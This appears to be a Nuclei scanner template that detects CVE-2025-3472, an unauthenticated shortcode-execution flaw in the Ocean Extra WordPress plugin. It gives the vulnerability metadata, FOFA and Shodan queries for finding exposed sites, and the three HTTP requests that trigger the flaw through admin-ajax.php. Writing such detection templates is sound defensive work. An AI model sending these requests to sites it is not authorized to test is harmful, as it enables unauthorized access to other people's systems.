id: CVE-2025-3472

info:
  name: Ocean Extra <= 2.4.6 - Unauthenticated Shortcode Execution
  author: theamanrawat
  severity: medium
  description: |
    The Ocean Extra plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.6. This is due to the software allowing users to supply arbitrary shortcodes in the content_rech_data parameter that is then executed. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes when WooCommerce is also installed and activated.
  impact: |
    Unauthenticated attackers can execute arbitrary WordPress shortcodes, potentially leading to information disclosure, privilege escalation, or further site compromise depending on available shortcodes.
  remediation: Update Ocean Extra plugin to version 2.4.7 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/74428e76-1946-408f-8adc-24ab4b7e46c5
    - https://plugins.trac.wordpress.org/browser/ocean-extra/trunk/includes/shortcodes/shortcodes.php#L618
    - https://plugins.trac.wordpress.org/changeset/3277977/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-3472
    cwe-id: CWE-94
    epss-score: 0.17273
    epss-percentile: 0.95127
  metadata:
    verified: true
    max-request: 3
    vendor: oceanwp
    product: ocean_extra
    framework: wordpress
    fofa-query: body="oceanwp" && body="woocommerce"
    shodan-query: http.html:"oceanwp" http.html:"woocommerce"
  tags: cve,cve2025,wordpress,wp-plugin,ocean-extra,oceanwp,woocommerce,shortcode,unauth,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /?s=&post_type=product HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "add-to-cart=")'
        internal: true

    extractors:
      - type: regex
        name: product_id
        part: body
        group: 1
        regex:
          - '(?:add-to-cart=|data-product_id="|product-)(\d+)'
        internal: true

  - raw:
      - |
        GET /?add-to-cart={{product_id}}&quantity=1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=update_oceanwp_woo_free_shipping_left_shortcode&content_rech_data=[woocommerce_my_account]&content=test

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "oceanwp-woo-free-shipping", "username", "password")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100f6faf915c7e1bd843a99a325b5aa975317dc324acc0a8bd642dbb00466a42b2b022100e8d93712e6adb9b3da717c15ba59a594b55c71f4f88c8baa211a762650d345df:922c64590222798bb761d5b6d8e72950